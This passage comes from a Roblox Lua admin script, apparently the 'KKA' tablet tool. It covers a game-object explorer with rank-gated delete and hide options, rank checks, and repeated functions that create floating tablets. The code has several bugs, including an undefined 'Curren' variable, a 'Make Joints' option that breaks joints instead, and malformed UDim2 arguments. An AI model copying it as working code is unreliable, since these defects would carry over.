10188 | Output("Removed "..CurrName, Plr, 5) | |
10189 | end) | |
10190 | end, OptionColor) | |
10191 | Output("Make Joints", Plr, nil, function() | |
10192 | ypcall(function() | |
10193 | local CurrPar = Current.Parent or game | |
10194 | local CurrName = Current.Name | |
10195 | Current:BreakJoints() | |
10196 | Current = CurrPar | |
10197 | MakeChildren(Plr) | |
10198 | Output("Removed "..CurrName, Plr, 5) | |
10199 | end) | |
10200 | end, OptionColor) | |
10201 | Output("Hide", Plr, nil, function() | |
10202 | ypcall(function() | |
10203 | local CurrPar = Current.Parent or game | |
10204 | local CurrName = Current.Name | |
10205 | Current.Transparency = 1 | |
10206 | Current = CurrPar | |
10207 | MakeChildren(Plr) | |
10208 | Output("Hid "..CurrName, Plr, 5) | |
10209 | end) | |
10210 | end, OptionColor) | |
10211 | Output("Fade", Plr, nil, function() | |
10212 | ypcall(function() | |
10213 | local CurrPar = Current.Parent or game | |
10214 | local CurrName = Current.Name | |
10215 | Curren.Transparency = 0.5 | |
10216 | Current = CurrPar | |
10217 | MakeChildren(Plr) | |
10218 | Output("Hid "..CurrName, Plr, 5) | |
10219 | end) | |
10220 | end, OptionColor) | |
10221 | Output("Show", Plr, nil, function() | |
10222 | ypcall(function() | |
10223 | local CurrPar = Current.Parent or game | |
10224 | local CurrName = Current.Name | |
10225 | Current.Transparency = 0 | |
10226 | Current = CurrPar | |
10227 | MakeChildren(Plr) | |
10228 | Output("Hid "..CurrName, Plr, 5) | |
10229 | end) | |
10230 | end, OptionColor) | |
10231 | Output("Refresh", Plr, nil, function() | |
10232 | ypcall(function() | |
10233 | Refresh(Plr) | |
10234 | Output("Refreshed Instance Options", Plr, 5) | |
10235 | end) | |
10236 | end, OptionColor) | |
10237 | end | |
10238 | end) | |
10239 | end | |
10240 | function MakeExplorer(Plr) | |
10241 | Dismiss(Plr) | |
10242 | Current = game | |
10243 | for _,v in pairs(Current:GetChildren()) do | |
10244 | ypcall(function() | |
10245 | if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then | |
10246 | Output(v.Name, Plr, nil, function(TabMod) | |
10247 | local TabText = TabMod["KKA Tablet"].BG.TL.Text | |
10248 | for _,v in pairs(Current:GetChildren()) do | |
10249 | ypcall(function() | |
10250 | if v.Name == TabText then | |
10251 | Dismiss(Plr) | |
10252 | Current = v | |
10253 | MakeChildren(Plr) | |
10254 | end | |
10255 | end) | |
10256 | end | |
10257 | end) | |
10258 | elseif Plrs:GetPlayerFromCharacter(v) then | |
10259 | Output(v.Name, Plr, nil, function(TabMod) | |
10260 | local TabText = TabMod["KKA Tablet"].BG.TL.Text | |
10261 | for _,v in pairs(Current:GetChildren()) do | |
10262 | ypcall(function() | |
10263 | if v.Name == TabText then | |
10264 | Dismiss(Plr) | |
10265 | Current = v | |
10266 | MakeChildren(Plr) | |
10267 | end | |
10268 | end) | |
10269 | end | |
10270 | end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name) | |
10271 | elseif CheckImportant(v.Name) then | |
10272 | Output(v.Name, Plr, nil, function(TabMod) | |
10273 | local TabText = TabMod["KKA Tablet"].BG.TL.Text | |
10274 | for _,v in pairs(Current:GetChildren()) do | |
10275 | ypcall(function() | |
10276 | if v.Name == TabText then | |
10277 | Dismiss(Plr) | |
10278 | Current = v | |
10279 | MakeChildren(Plr) | |
10280 | end | |
10281 | end) | |
10282 | end | |
10283 | end, ImportantColor) | |
10284 | end | |
10285 | end) | |
10286 | end | |
10287 | if Current ~= game then | |
10288 | if FindRank(Plr) >= 5 then | |
10289 | Output("Delete", Plr, nil, function() | |
10290 | ypcall(function() | |
10291 | local CurrPar = Current.Parent or game | |
10292 | local CurrName = Current.Name | |
10293 | Current:Destroy() | |
10294 | Current = CurrPar | |
10295 | MakeChildren(Plr) | |
10296 | Output("Deleted "..CurrName, Plr, 5) | |
10297 | end) | |
10298 | end, OptionColor) | |
10299 | end | |
10300 | Output("Remove", Plr, nil, function() | |
10301 | ypcall(function() | |
10302 | local CurrPar = Current.Parent or game | |
10303 | local CurrName = Current.Name | |
10304 | Current:Remove() | |
10305 | Current = CurrPar | |
10306 | MakeChildren(Plr) | |
10307 | Output("Removed "..CurrName, Plr, 5) | |
10308 | end) | |
10309 | end, OptionColor) | |
10310 | Output("Break Joints", Plr, nil, function() | |
10311 | ypcall(function() | |
10312 | local CurrPar = Current.Parent or game | |
10313 | local CurrName = Current.Name | |
10314 | Current:BreakJoints() | |
10315 | Current = CurrPar | |
10316 | MakeChildren(Plr) | |
10317 | Output("Removed "..CurrName, Plr, 5) | |
10318 | end) | |
10319 | end, OptionColor) | |
10320 | Output("Make Joints", Plr, nil, function() | |
10321 | ypcall(function() | |
10322 | local CurrPar = Current.Parent or game | |
10323 | local CurrName = Current.Name | |
10324 | Current:BreakJoints() | |
10325 | Current = CurrPar | |
10326 | MakeChildren(Plr) | |
10327 | Output("Removed "..CurrName, Plr, 5) | |
10328 | end) | |
10329 | end, OptionColor) | |
10330 | Output("Hide", Plr, nil, function() | |
10331 | ypcall(function() | |
10332 | local CurrPar = Current.Parent or game | |
10333 | local CurrName = Current.Name | |
10334 | Current.Transparency = 1 | |
10335 | Current = CurrPar | |
10336 | MakeChildren(Plr) | |
10337 | Output("Hid "..CurrName, Plr, 5) | |
10338 | end) | |
10339 | end, OptionColor) | |
10340 | Output("Fade", Plr, nil, function() | |
10341 | ypcall(function() | |
10342 | local CurrPar = Current.Parent or game | |
10343 | local CurrName = Current.Name | |
10344 | Curren.Transparency = 0.5 | |
10345 | Current = CurrPar | |
10346 | MakeChildren(Plr) | |
10347 | Output("Hid "..CurrName, Plr, 5) | |
10348 | end) | |
10349 | end, OptionColor) | |
10350 | Output("Show", Plr, nil, function() | |
10351 | ypcall(function() | |
10352 | local CurrPar = Current.Parent or game | |
10353 | local CurrName = Current.Name | |
10354 | Current.Transparency = 0 | |
10355 | Current = CurrPar | |
10356 | MakeChildren(Plr) | |
10357 | Output("Hid "..CurrName, Plr, 5) | |
10358 | end) | |
10359 | end, OptionColor) | |
10360 | Output("Refresh", Plr, nil, function() | |
10361 | ypcall(function() | |
10362 | Refresh(Plr) | |
10363 | Output("Refreshed Instance Options", Plr, 5) | |
10364 | end) | |
10365 | end, OptionColor) | |
10366 | else | |
10367 | Output("You cannot use this", Plr,5) | |
10368 | return | |
10369 | end | |
10370 | end | |
10371 | function GetRank(Plr1, Test) | |
10372 | ypcall(function() | |
10373 | if type(Plr1) == "userdata" then | |
10374 | Plr1 = Plr1.Name | |
10375 | end | |
10376 | end) | |
10377 | if Ranks[Plr1] ~= nil then | |
10378 | return Ranks[Plr1] | |
10379 | end | |
10380 | local QuickArray = {} | |
10381 | QuickArray[Plr1] = {Plr = nil, Rank = 0, Color = RanksList[0].Color, Desc = RanksList[0].Desc} | |
10382 | return QuickArray[Plr1] | |
10383 | end | |
10384 | ||
10385 | function CanRun(Plr1, Plr2) | |
10386 | Details1 = GetRank(Plr1.Name) | |
10387 | Details2 = GetRank(Plr2.Name) | |
10388 | if Details1.Rank >= Details2.Rank then | |
10389 | return true | |
10390 | end | |
10391 | return false | |
10392 | end | |
10393 | ||
10394 | function Dismiss(Plr, Identity) | |
10395 | ypcall(function() | |
10396 | if Plr ~= nil then | |
10397 | if type(Plr) == "userdata" then | |
10398 | Plr = Plr.Name | |
10399 | end | |
10400 | for x,v in pairs(AllTabs) do | |
10401 | ypcall(function() | |
10402 | if v.Plr == Plr then | |
10403 | if Identity ~= nil and v.ID ~= Identity then | |
10404 | return | |
10405 | elseif Identity ~= nil and v.ID == Identity then | |
10406 | coroutine.resume(coroutine.create(function() | |
10407 | for i = 0.5, 1, 0.1 do | |
10408 | wait() | |
10409 | v.Tab.Transparency = i | |
10410 | v.Sel.Transparency = i | |
10411 | v.Label.TextTransparency = i | |
10412 | v.Label.TextStrokeTransparency = i | |
10413 | end | |
10414 | ypcall(function() | |
10415 | v.Holder:Destroy() | |
10416 | end) | |
10417 | AllTabs[x] = nil | |
10418 | end)) | |
10419 | elseif Identity == nil then | |
10420 | ypcall(function() v.Holder:Destroy() end) | |
10421 | AllTabs[x] = nil | |
10422 | end | |
10423 | end | |
10424 | end) | |
10425 | end | |
10426 | else | |
10427 | for i,v in pairs(AllTabs) do | |
10428 | ypcall(function() | |
10429 | v.Holder:Destroy() | |
10430 | AllTabs[i] = nil | |
10431 | end) | |
10432 | end | |
10433 | end | |
10434 | end) | |
10435 | end | |
10436 | ||
10437 | function GetGarbage() | |
10438 | return ((math.floor((collectgarbage("count") / 10)) * 10)/1000) .. "MB" | |
10439 | end | |
10440 | ||
10441 | function RemObj(Obj, Class) | |
10442 | ypcall(function() | |
10443 | if #Obj:GetChildren() > 0 then | |
10444 | for _,x in pairs(Obj:GetChildren()) do | |
10445 | ypcall(function() | |
10446 | RemObj(x, Class) | |
10447 | end) | |
10448 | end | |
10449 | end | |
10450 | if Obj.ClassName == Class then | |
10451 | Obj:Destroy() | |
10452 | end | |
10453 | end) | |
10454 | end | |
10455 | ||
10456 | function FindTab(Mod) | |
10457 | for i,v in pairs(AllTabs) do | |
10458 | if v.Holder == Mod then | |
10459 | return true | |
10460 | end | |
10461 | end | |
10462 | return false | |
10463 | end | |
10464 | ||
10465 | ||
10466 | function Output(Msg, Plr, Time, Func, Color, Image, Test) | |
10467 | if Removed == false then | |
10468 | local ShowGarbage = false | |
10469 | ypcall(function() | |
10470 | if Msg == nil then | |
10471 | Msg = "N/A" | |
10472 | elseif Msg == "ShowGarbage" then | |
10473 | Msg = "Current Garbage Count: "..GetGarbage() | |
10474 | ShowGarbage = true | |
10475 | else | |
10476 | Msg = tostring(Msg) | |
10477 | end | |
10478 | if Plr == nil then | |
10479 | Plr = Plrs[Owner] or error("No Player Found") | |
10480 | elseif type(Plr) == "string" then | |
10481 | local FoundPlr = false | |
10482 | for _,v in pairs(All()) do | |
10483 | if v.Name == Plr then | |
10484 | Plr = v | |
10485 | FoundPlr = true | |
10486 | break | |
10487 | end | |
10488 | end | |
10489 | if FoundPlr == false then | |
10490 | Plr = Plrs[Owner] or error("No Player Found") | |
10491 | end | |
10492 | end | |
10493 | ||
10494 | if Color == nil then | |
10495 | Color = GetRank(Plr.Name).Color | |
10496 | ||
10497 | end | |
10498 | ||
10499 | local Holder = Instance.new("Model") | |
10500 | Holder.Name = "KKA" | |
10501 | ||
10502 | local Tab = Instance.new("Part", Holder) | |
10503 | Tab.Name = "KKA Tablet" | |
10504 | Tab.FormFactor = "Custom" | |
10505 | Tab.Anchored = true | |
10506 | if Time == nil then | |
10507 | Tab.Color = Color | |
10508 | else | |
10509 | Tab.Color = OptionColor | |
10510 | end | |
10511 | Tab.CanCollide = false | |
10512 | Tab.Locked = true | |
10513 | Tab.Transparency = TabletTransparency | |
10514 | Tab.Size = Vector3.new(2.2,2.2,2.2) | |
10515 | ||
10516 | Tab.CFrame = Plr.Character.Torso.CFrame or CFrame.new(-8, -8, -8) | |
10517 | ||
10518 | local ID = Instance.new("NumberValue") | |
10519 | ID.Name = "ID" | |
10520 | ID.Value = math.random(-999999999, 999999999) | |
10521 | ID.Parent = Holder | |
10522 | ||
10523 | --[[Delay(0, function() | |
10524 | while wait() do | |
10525 | if Tab.Parent == nil and FindTab(Holder) then | |
10526 | ypcall(function() | |
10527 | for i,v in pairs(AllTabs) do | |
10528 | if v.Holder == Holder then | |
10529 | ypcall(function() v.Holder:Destroy() end) | |
10530 | AllTabs[i] = nil | |
10531 | end | |
10532 | end | |
10533 | end) | |
10534 | Output(Msg, Plr, Time, Func, Color, Image, Test) | |
10535 | break | |
10536 | end | |
10537 | end | |
10538 | end)]]-- | |
10539 | ||
10540 | local BM = Instance.new("BlockMesh") | |
10541 | BM.Parent = Tab | |
10542 | ||
10543 | ||
10544 | ||
10545 | ||
10546 | Sel = Instance.new("SelectionBox") | |
10547 | Sel.Color=BrickColor.new("White") | |
10548 | Sel.Adornee = Tab | |
10549 | Sel.Parent = Tab | |
10550 | ||
10551 | local BG = Instance.new("BillboardGui") | |
10552 | BG.Name = "BG" | |
10553 | BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0) | |
10554 | BG.Size = UDim2.new(0,1,0,1) | |
10555 | BG.Adornee = Tab | |
10556 | BG.Parent = Tab | |
10557 | ||
10558 | Delay(0, function() | |
10559 | while BG.Parent ~= nil do wait() | |
10560 | ypcall(function() | |
10561 | BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0) | |
10562 | end) | |
10563 | end | |
10564 | end) | |
10565 | ||
10566 | ||
10567 | local TL = Instance.new("TextLabel") | |
10568 | TL.Name = "TL" | |
10569 | TL.FontSize = "Size24" | |
10570 | TL.Font = "ArialBold" | |
10571 | TL.Text = Msg | |
10572 | TL.TextColor3 = Tab.Color | |
10573 | TL.Size = UDim2.new(0,2,0,2) | |
10574 | TL.TextTransparency = 0 | |
10575 | TL.TextStrokeTransparency = 0 | |
10576 | TL.Parent = BG | |
10577 | ||
10578 | TL.Size = UDim2.new(0,1,0,1) | |
10579 | TL.TextTransparency = 0 | |
10580 | TL.TextStrokeColor3 = Color3.new(255, 255, 255) | |
10581 | TL.TextStrokeTransparency = 0 | |
10582 | TL.Parent = BG | |
10583 | ||
10584 | ||
10585 | local FTT = Instance.new("TextLabel", FTG) | |
10586 | FTT.Name = "FTT" | |
10587 | FTT.BackgroundTransparency = 1 | |
10588 | FTT.Size = UDim2.new(0,1000,0,1000) | |
10589 | FTT.Font = "ArialBold" | |
10590 | FTT.FontSize = Enum.FontSize.Size24 | |
10591 | FTT.Text = Msg | |
10592 | FTT.TextScaled = true | |
10593 | FTT.TextStrokeTransparency = 0 | |
10594 | FTT.TextColor3 = Database.Colors.White | |
10595 | FTT.TextStrokeColor3 = Database.Colors.Black | |
10596 | ||
10597 | local TRO = Instance.new("BodyVelocity", Tab) | |
10598 | TRO.maxForce = Vector3.new(40000000000, 40000000000, 40000000000) | |
10599 | TRO.P = 1250 | |
10600 | TRO.velocity = Vector3.new(0,0.17,0) | |
10601 | ||
10602 | local TLI = Instance.new("PointLight", Tab) | |
10603 | TLI.Brightness = 0.15 | |
10604 | TLI.Range = 0.9 | |
10605 | TLI.Shadows = true | |
10606 | if ShowGarbage == true then | |
10607 | Delay(0, function() | |
10608 | while TL.Parent ~= nil do | |
10609 | TL.Text = "Current Garbage Count: "..GetGarbage() | |
10610 | wait(.5) | |
10611 | end | |
10612 | end) | |
10613 | end | |
10614 | if Image ~= nil then | |
10615 | local BBBG = Instance.new("BillboardGui") | |
10616 | BBBG.Size = UDim2.new(5, 0, 6, 0) | |
10617 | BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0) | |
10618 | BBBG.AlwaysOnTop = true | |
10619 | BBBG.Adornee = Tab | |
10620 | BBBG.Parent = Tab | |
10621 | ||
10622 | Delay(0, function() | |
10623 | while BBBG.Parent ~= nil do wait() | |
10624 | ypcall(function() | |
10625 | BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0) | |
10626 | end) | |
10627 | end | |
10628 | end) | |
10629 | ||
10630 | ||
10631 | local NewImg = Instance.new("ImageLabel") | |
10632 | NewImg.Size = UDim2.new(1, 0, 1, 0) | |
10633 | NewImg.BackgroundTransparency = 1 | |
10634 | NewImg.Image = Image | |
10635 | NewImg.Parent = BBBG | |
10636 | end | |
10637 | ||
10638 | local Clicker = Instance.new("ClickDetector") | |
10639 | Clicker.MaxActivationDistance = 1/0 | |
10640 | ||
10641 | if Time ~= nil then | |
10642 | coroutine.resume(coroutine.create(function() | |
10643 | wait(tonumber(Time)) | |
10644 | Dismiss(Plr, ID) | |
10645 | end)) | |
10646 | end | |
10647 | ||
10648 | Clicker.MouseClick:connect(function(Player) | |
10649 | if Player.Name == Plr.Name or CanRun(Player, Plr) then | |
10650 | ypcall(function() | |
10651 | if Func ~= nil then | |
10652 | Func(Holder) | |
10653 | else | |
10654 | Dismiss(Player, ID) | |
10655 | end | |
10656 | end) | |
10657 | end | |
10658 | end) | |
10659 | Clicker.Parent = Tab | |
10660 | ||
10661 | Holder.Parent = Work | |
10662 | ||
10663 | AllTabs[#AllTabs + 1] = {Holder = Holder, Tab = Tab, Plr = Plr.Name, Sel = Sel, Label = TL, Size = 0.1, ID = ID} | |
10664 | end) | |
10665 | end | |
10666 | end | |
10667 | ||
10668 | function Output2(Msg, Plr, Time, Func, Color, Image) | |
10669 | if Removed == false then | |
10670 | local ShowGarbage = false | |
10671 | ypcall(function() | |
10672 | if Msg == nil then | |
10673 | Msg = "N/A" | |
10674 | elseif Msg == "ShowGarbage" then | |
10675 | Msg = "Current Garbage Count: "..GetGarbage() | |
10676 | ShowGarbage = true | |
10677 | else | |
10678 | Msg = tostring(Msg) | |
10679 | end | |
10680 | if Plr == nil then | |
10681 | Plr = Plrs[Owner] or error("No Player Found") | |
10682 | elseif type(Plr) == "string" then | |
10683 | local FoundPlr = false | |
10684 | for _,v in pairs(All()) do | |
10685 | if v.Name == Plr then | |
10686 | Plr = v | |
10687 | FoundPlr = true | |
10688 | break | |
10689 | end | |
10690 | end | |
10691 | if FoundPlr == false then | |
10692 | Plr = Plrs[Owner] or error("No Player Found") | |
10693 | end | |
10694 | end | |
10695 | ||
10696 | local Holder = Instance.new("Model") | |
10697 | Holder.Name = "KKA" | |
10698 | ||
10699 | local Tab = Instance.new("Part") | |
10700 | Tab.Name = "KKA Tablet" | |
10701 | Tab.FormFactor = "Custom" | |
10702 | Tab.Anchored = true | |
10703 | Tab.Color = BrickColor.new("Teal").Color | |
10704 | Tab.CanCollide = false | |
10705 | Tab.Locked = true | |
10706 | Tab.Transparency = 0.15 | |
10707 | Tab.Size = Vector3.new(2.2,2.2,2.2) | |
10708 | Tab.CFrame = Plr.Character.Torso.CFrame or CFrame.new(-8, -8, -8) | |
10709 | Tab.Parent = Holder | |
10710 | ||
10711 | local BMO = Instance.new("BlockMesh") | |
10712 | BMO.Parent = Tab | |
10713 | ||
10714 | local ID = Instance.new("NumberValue") | |
10715 | ID.Name = "ID" | |
10716 | ID.Value = math.random(-999999999, 999999999) | |
10717 | ID.Parent = Holder | |
10718 | ||
10719 | --[[Delay(0, function() | |
10720 | while wait() do | |
10721 | if Tab.Parent == nil and FindTab(Holder) then | |
10722 | ypcall(function() | |
10723 | for i,v in pairs(AllTabs) do | |
10724 | if v.Holder == Holder then | |
10725 | ypcall(function() v.Holder:Destroy() end) | |
10726 | AllTabs[i] = nil | |
10727 | end | |
10728 | end | |
10729 | end) | |
10730 | Output2(Msg, Plr, Time, Func, Color, Image) | |
10731 | break | |
10732 | end | |
10733 | end | |
10734 | end)]]-- | |
10735 | ||
10736 | Sel = Instance.new("SelectionBox") | |
10737 | Sel.Color = BrickColor.new("White") | |
10738 | Sel.Transparency = 0.1 | |
10739 | Sel.Adornee = Tab | |
10740 | Sel.Parent = Tab | |
10741 | ||
10742 | local BG = Instance.new("BillboardGui") | |
10743 | BG.Name = "BG" | |
10744 | BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0) | |
10745 | BG.Size = UDim2.new(0,0.6,00.6) | |
10746 | BG.Adornee = Tab | |
10747 | BG.Parent = Tab | |
10748 | ||
10749 | Delay(0, function() | |
10750 | while BG.Parent ~= nil do wait() | |
10751 | ypcall(function() | |
10752 | BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0) | |
10753 | end) | |
10754 | end | |
10755 | end) | |
10756 | ||
10757 | local TL = Instance.new("TextLabel") | |
10758 | TL.Name = "TL" | |
10759 | TL.FontSize = "Size24" | |
10760 | TL.Font = "ArialBold" | |
10761 | TL.Text = Msg | |
10762 | TL.TextColor3 = Tab.Color | |
10763 | TL.Size = UDim2.new(0,2,0,2) | |
10764 | TL.TextTransparency = 0 | |
10765 | TL.TextStrokeTransparency = 0 | |
10766 | TL.Parent = BG | |
10767 | ||
10768 | TL.Size = UDim2.new(0,1,0,1) | |
10769 | TL.TextTransparency = 0 | |
10770 | TL.TextStrokeColor3 = Color3.new(255, 255, 255) | |
10771 | TL.TextStrokeTransparency = 0 | |
10772 | TL.Parent = BG | |
10773 | ||
10774 | ||
10775 | local FTT = Instance.new("TextLabel", FTG) | |
10776 | FTT.Name = "FTT" | |
10777 | FTT.BackgroundTransparency = 1 | |
10778 | FTT.Size = UDim2.new(0,1000,0,1000) | |
10779 | FTT.Font = "ArialBold" | |
10780 | FTT.FontSize = Enum.FontSize.Size24 | |
10781 | FTT.Text = Msg | |
10782 | FTT.TextScaled = true | |
10783 | FTT.TextStrokeTransparency = 0 | |
10784 | FTT.TextColor3 = BrickColor.new("Institutional white").Color | |
10785 | FTT.TextStrokeColor3 = BrickColor.new("Really black").Color | |
10786 | ||
10787 | local TRO = Instance.new("BodyVelocity", Tab) | |
10788 | TRO.maxForce = Vector3.new(40000000000, 40000000000, 40000000000) | |
10789 | TRO.P = 1250 | |
10790 | TRO.velocity = Vector3.new(0,0.17,0) | |
10791 | ||
10792 | local TLI = Instance.new("PointLight", Tab) | |
10793 | TLI.Brightness = 0.15 | |
10794 | TLI.Range = 0.9 | |
10795 | TLI.Shadows = true | |
10796 | if ShowGarbage == true then | |
10797 | Delay(0, function() | |
10798 | while TL.Parent ~= nil do | |
10799 | TL.Text = "Current Garbage Count: "..GetGarbage() | |
10800 | wait(.5) | |
10801 | end | |
10802 | end) | |
10803 | end | |
10804 | if Image ~= nil then | |
10805 | local BBBG = Instance.new("BillboardGui") | |
10806 | BBBG.Size = UDim2.new(5, 0, 6, 0) | |
10807 | BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0) | |
10808 | BBBG.AlwaysOnTop = true | |
10809 | BBBG.Adornee = Tab | |
10810 | BBBG.Parent = Tab | |
10811 | ||
10812 | Delay(0, function() | |
10813 | while BBBG.Parent ~= nil do wait() | |
10814 | ypcall(function() | |
10815 | BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0) | |
10816 | end) | |
10817 | end | |
10818 | end) | |
10819 | ||
10820 | ||
10821 | local NewImg = Instance.new("ImageLabel") | |
10822 | NewImg.Size = UDim2.new(1, 0, 1, 0) | |
10823 | NewImg.BackgroundTransparency = 1 | |
10824 | NewImg.Image = Image | |
10825 | NewImg.Parent = BBBG | |
10826 | end | |
10827 | ||
10828 | ||
10829 | local Clicker = Instance.new("ClickDetector") | |
10830 | Clicker.MaxActivationDistance = 1/0 | |
10831 | ||
10832 | if Time ~= nil then | |
10833 | coroutine.resume(coroutine.create(function() | |
10834 | wait(tonumber(Time)) | |
10835 | Dismiss(Plr, ID) | |
10836 | end)) | |
10837 | end | |
10838 | ||
10839 | Clicker.MouseClick:connect(function(Player) | |
10840 | if Player.Name == Plr.Name or CanRun(Player, Plr) then | |
10841 | ypcall(function() | |
10842 | if Func ~= nil then | |
10843 | Func(Holder) | |
10844 | else | |
10845 | Dismiss(Player, ID) | |
10846 | end | |
10847 | end) | |
10848 | end | |
10849 | end) | |
10850 | Clicker.Parent = Tab | |
10851 | ||
10852 | Holder.Parent = Work | |
10853 | ||
10854 | AllTabs[#AllTabs + 1] = {Holder = Holder, Tab = Tab, Plr = Plr.Name, Sel = Sel, Label = TL, Size = 0.1, ID = ID, Rot = 0} | |
10855 | end) | |
10856 | end | |
10857 | end | |
10858 | ||
10859 | function Output3(Msg, Plr, Time, Func, Color, Image) | |
10860 | if Removed == false then | |
10861 | local ShowGarbage = false | |
10862 | ypcall(function() | |
10863 | if Msg == nil then | |
10864 | Msg = "N/A" | |
10865 | elseif Msg == "ShowGarbage" then | |
10866 | Msg = "Current Garbage Count: "..GetGarbage() | |
10867 | ShowGarbage = true | |
10868 | else | |
10869 | Msg = tostring(Msg) | |
10870 | end | |
10871 | if Plr == nil then | |
10872 | Plr = Plrs[Owner] or error("No Player Found") | |
10873 | elseif type(Plr) == "string" then | |
10874 | local FoundPlr = false | |
10875 | for _,v in pairs(All()) do | |
10876 | if v.Name == Plr then | |
10877 | Plr = v | |
10878 | FoundPlr = true | |
10879 | break | |
10880 | end | |
10881 | end | |
10882 | if FoundPlr == false then | |
10883 | Plr = Plrs[Owner] or error("No Player Found") | |
10884 | end | |
10885 | end | |
10886 | ||
10887 | local Holder = Instance.new("Model") | |
10888 | Holder.Name = "KKA" | |
10889 | ||
10890 | local Tab = Instance.new("Part") | |
10891 | Tab.Name = "KKA Tablet" | |
10892 | Tab.FormFactor = "Custom" | |
10893 | Tab.Anchored = true | |
10894 | Tab.Color = BrickColor.new("Lime green").Color | |
10895 | Tab.CanCollide = false | |
10896 | Tab.Locked = true | |
10897 | Tab.Transparency = 0.15 | |
10898 | Tab.Size = Vector3.new(2.2,2.2,2.2) | |
10899 | Tab.CFrame = Plr.Character.Torso.CFrame or CFrame.new(-8, -8, -8) | |
10900 | Tab.Parent = Holder | |
10901 | ||
10902 | local BMO = Instance.new("BlockMesh") | |
10903 | BMO.Parent = Tab | |
10904 | ||
10905 | local ID = Instance.new("NumberValue") | |
10906 | ID.Name = "ID" | |
10907 | ID.Value = math.random(-999999999, 999999999) | |
10908 | ID.Parent = Holder | |
10909 | ||
10910 | --[[Delay(0, function() | |
10911 | while wait() do | |
10912 | if Tab.Parent == nil and FindTab(Holder) then | |
10913 | ypcall(function() | |
10914 | for i,v in pairs(AllTabs) do | |
10915 | if v.Holder == Holder then | |
10916 | ypcall(function() v.Holder:Destroy() end) | |
10917 | AllTabs[i] = nil | |
10918 | end | |
10919 | end | |
10920 | end) | |
10921 | Output2(Msg, Plr, Time, Func, Color, Image) | |
10922 | break | |
10923 | end | |
10924 | end | |
10925 | end)]]-- | |
10926 | ||
10927 | Sel = Instance.new("SelectionBox") | |
10928 | Sel.Color = BrickColor.new("White") | |
10929 | Sel.Transparency = 0.1 | |
10930 | Sel.Adornee = Tab | |
10931 | Sel.Parent = Tab | |
10932 | ||
10933 | local BG = Instance.new("BillboardGui") | |
10934 | BG.Name = "BG" | |
10935 | BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0) | |
10936 | BG.Size = UDim2.new(0,0.6,00.6) | |
10937 | BG.Adornee = Tab | |
10938 | BG.Parent = Tab | |
10939 | ||
10940 | Delay(0, function() | |
10941 | while BG.Parent ~= nil do wait() | |
10942 | ypcall(function() | |
10943 | BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0) | |
10944 | end) | |
10945 | end | |
10946 | end) | |
10947 | ||
10948 | local TL = Instance.new("TextLabel") | |
10949 | TL.Name = "TL" | |
10950 | TL.FontSize = "Size24" | |
10951 | TL.Font = "ArialBold" | |
10952 | TL.Text = Msg | |
10953 | TL.TextColor3 = Tab.Color | |
10954 | TL.Size = UDim2.new(0,2,0,2) | |
10955 | TL.TextTransparency = 0 | |
10956 | TL.TextStrokeTransparency = 0 | |
10957 | TL.Parent = BG | |
10958 | ||
10959 | TL.Size = UDim2.new(0,1,0,1) | |
10960 | TL.TextTransparency = 0 | |
10961 | TL.TextStrokeColor3 = Color3.new(255, 255, 255) | |
10962 | TL.TextStrokeTransparency = 0 | |
10963 | TL.Parent = BG | |
10964 | ||
10965 | ||
10966 | local FTT = Instance.new("TextLabel", FTG) | |
10967 | FTT.Name = "FTT" | |
10968 | FTT.BackgroundTransparency = 1 | |
10969 | FTT.Size = UDim2.new(0,1000,0,1000) | |
10970 | FTT.Font = "ArialBold" | |
10971 | FTT.FontSize = Enum.FontSize.Size24 | |
10972 | FTT.Text = Msg | |
10973 | FTT.TextScaled = true | |
10974 | FTT.TextStrokeTransparency = 0 | |
10975 | FTT.TextColor3 = BrickColor.new("Institutional white").Color | |
10976 | FTT.TextStrokeColor3 = BrickColor.new("Really black").Color | |
10977 | ||
10978 | local TRO = Instance.new("BodyVelocity", Tab) | |
10979 | TRO.maxForce = Vector3.new(40000000000, 40000000000, 40000000000) | |
10980 | TRO.P = 1250 | |
10981 | TRO.velocity = Vector3.new(0,0.17,0) | |
10982 | ||
10983 | local TLI = Instance.new("PointLight", Tab) | |
10984 | TLI.Brightness = 0.15 | |
10985 | TLI.Range = 0.9 | |
10986 | TLI.Shadows = true | |
10987 | if ShowGarbage == true then | |
10988 | Delay(0, function() | |
10989 | while TL.Parent ~= nil do | |
10990 | TL.Text = "Current Garbage Count: "..GetGarbage() | |
10991 | wait(.5) | |
10992 | end | |
10993 | end) | |
10994 | end | |
10995 | if Image ~= nil then | |
10996 | local BBBG = Instance.new("BillboardGui") | |
10997 | BBBG.Size = UDim2.new(5, 0, 6, 0) | |
10998 | BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0) | |
10999 | BBBG.AlwaysOnTop = true | |
11000 | BBBG.Adornee = Tab | |
11001 | BBBG.Parent = Tab | |
11002 | ||
11003 | Delay(0, function() | |
11004 | while BBBG.Parent ~= nil do wait() | |
11005 | ypcall(function() | |
11006 | BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0) | |
11007 | end) | |
11008 | end | |
11009 | end) | |
11010 | ||
11011 | ||
11012 | local NewImg = Instance.new("ImageLabel") | |
11013 | NewImg.Size = UDim2.new(1, 0, 1, 0) | |
11014 | NewImg.BackgroundTransparency = 1 | |
11015 | NewImg.Image = Image | |
11016 | NewImg.Parent = BBBG | |
11017 | end | |
11018 | ||
11019 | ||
11020 | local Clicker = Instance.new("ClickDetector") | |
11021 | Clicker.MaxActivationDistance = 1/0 | |
11022 | ||
11023 | if Time ~= nil then | |
11024 | coroutine.resume(coroutine.create(function() | |
11025 | wait(tonumber(Time)) | |
11026 | Dismiss(Plr, ID) | |
11027 | end)) | |
11028 | end | |
11029 | ||
11030 | Clicker.MouseClick:connect(function(Player) | |
